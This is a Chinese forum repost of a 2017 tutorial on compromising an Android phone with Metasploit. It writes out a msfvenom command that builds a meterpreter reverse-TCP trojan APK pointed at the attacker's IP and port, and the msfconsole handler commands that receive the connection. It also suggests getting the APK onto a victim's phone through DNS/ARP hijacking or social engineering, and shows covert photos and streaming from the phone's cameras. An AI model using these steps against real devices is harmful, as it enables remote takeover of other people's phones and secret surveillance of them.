搜索

[20812] 2017-07-07_MSF侵入安卓手机

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-07-07_MSF侵入安卓手机 M S F 侵 入 安 卓 手 机 L e m o n S e c   2 0 1 7 - 0 7 - 0 7 M S F 入 侵 安 卓 手 机 M S F 是 M e t a s p l o i t 的 简 称 ， M e t a s p l o i t 是 一 款 开 源 的 安 全 漏 洞 检 测 工 具 ， 非 常 强 大 ， 分 别 有 W i n d o w s 版 和 L i n u x 版 ， 工 具 里 集 成 了 许 多 微 软 公 布 的 漏 洞 ( 0 d a y ) 。 我 这 里 做 测 试 的 系 统 是 B a c k b o x   l i n u x   ， 这 是 一 款 网 络 渗 透 ， 信 息 安 全 评 估 系 统 。 里 边 安 装 了 许 许 多 多 的 工 具 。 其 中 M S F 就 自 带 有 。 当 然 还 有 其 它 的   比 如 K a l i   l i n u x   、 B a c k   T r a c k 这 些 等 等 。   环 境 ： B a c k b o x   l i n u x + M S F 目 标 ： 一 台 安 卓 手 机   既 然 是 入 侵 安 卓 手 机 ， 肯 定 要 先 配 置 一 个 安 卓 木 马 ， 那 我 们 看 看 本 机 的 I P   本 机 I P ： 1 9 2 . 1 6 8 . 3 . 1 8 5 在 到 终 端 输 入 命 令 ： m s f v e n o m   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 3 . 1 8 5   L P O R T = 5 5 5 5   R   >   / r o o t / a p k . a p k 以 前 的 M S F 老 版 本 是 用 m s f p a y l o a d 生 成 木 马   现 在 在 新 版 本 中 都 用 m s f v e n o m 代 替 了 ， 所 以 有 些 朋 友 在 终 端 输 入 m s f p a y l o a d 的 时 候   会 提 示 m s f p a y l o a d 无 法 找 到 命 令   所 以 使 用 m s f v e n o m 即 可 ， 这 里 L H O S T   对 应 的 是 本 机 的 I P 地 址   L P O R T 对 应 你 要 监 听 的 端 口   然 后 生 成 木 马 的 路 径
这 样 我 们 就 在 / r o o t / 路 径 下 生 成 了 一 个 A P K 的 安 卓 木 马 文 件 ， 至 于 木 马 的 免 杀 暂 且 不 谈 。 现 在 我 们 在 来 启 动 M S F 工 具 输 入 命 令 ： m s f c o n s o l e 然 后 输 入 ： 1 .   u s e   e x p l o i t / m u l t i / h a n d l e r   加 载 模 块 2 .   s e t   p a y l o a d   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p     选 择 P a y l o a d 3 . s h o w   o p t i o n s   查 看 参 数 设 置 我 们 看 见 p a y l o a d 里 边 有 两 个 参 数 要 设 置   L H O S T 和 L P O R T   表 示 地 址 和 端 口   默 认 的 端 口 是 4 4 4 4   现 在 我 们 来 更 改 设 置 1 . s e t   L H O S T   1 9 2 . 1 6 8 . 1 . 6   这 里 的 地 址 设 置 成 我 们 刚 才 生 成 木 马 的 I P 地 址 2 . s e t   L P O R T   5 5 5 5   这 里 的 端 口 设 置 成 刚 才 我 们 生 成 木 马 所 监 听 的 端 口 3 . e x p l o i t   开 始 执 行 漏 洞   开 始 监 听 . . .
O K ， 一 切 准 备 工 作 准 备 就 绪 。 。 。 现 在 要 做 的 就 是 把 木 马 文 件 搞 到 人 家 的 手 机 上 ， 思 路 有 很 多   可 以 D N S   a r p 劫 持 欺 骗   只 要 对 方 用 手 机 下 载 文 件   就 会 下 载 我 们 的 木 马 文 件 还 有 社 工 什 么 等 等 的 ， 这 里 我 就 简 单 的 把 木 马 文 件 弄 我 自 己 的 手 机 上 做 测 试 安 装 完 成 后   会 在 桌 面 上 生 成 一 个 M a i n A c t i v i t y 的 程 序 图 标   这 个 就 是 我 们 刚 才 生 成 的 木 马   当 我 们 点 击 了 这 个 图 标   手 机 会 没 有 任 何 反 应   其 实 木 马 已 经 开 始 运 行 起 来 了 我 们 可 以 在 我 们 的 M S F 里 看 见 有 一 个 会 话 连 接 了 w e b c a m _ s n a p   隐 秘 拍 照 功 能 后 边 跟 上 参 数 - i   指 定 使 用 那 个 摄 像 头 拍 照 可 以 看 见 我 们 分 别 对 前 后 摄 像 头 都 拍 了 照   保 存 到 了 桌 面 上 还 可 以 输 入 命 令   w e b c a m _ s t r e a m   开 启 摄 像 头   其 它 的 功 能 还 有 更 多   。 暂 时 就 先 到 这 吧 。 。 。
查 看 更 多 文 章 ， 关 注 下 方 二 维 码

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理